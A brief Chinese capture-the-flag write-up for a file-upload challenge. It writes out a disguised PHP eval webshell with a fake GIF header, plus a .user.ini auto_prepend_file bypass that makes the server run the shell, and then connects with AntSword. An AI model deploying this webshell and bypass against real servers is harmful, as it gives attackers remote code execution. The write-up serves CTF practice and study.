打开题目,常规的文件上传
经过各种上传测试,似乎在后端有文件后缀检测且难以绕过
但可以上传.user.ini文件,且上传文件成功后会主动给出路径,而这个路径下恰好有一个php文件
上传木马
GIF8a
<script language='php'>@eval($_POST['door']);</script>
得到木马路径
Your dir uploads/0e2baa5f405a4e8f1b40ce791fae880a
Your files :
array(4) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(5) “a.jpg” [3]=> string(9) “index.php” }
上传.user.ini
GIF8a
auto_prepend_file=../0e2baa5f405a4e8f1b40ce791fae880a/a.jpg
Your dir uploads/22a34919097cc74b924bf5ac06da8b89
Your files :
array(4) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(9) “.user.ini” [3]=> string(9) “index.php” }
蚁剑连接即可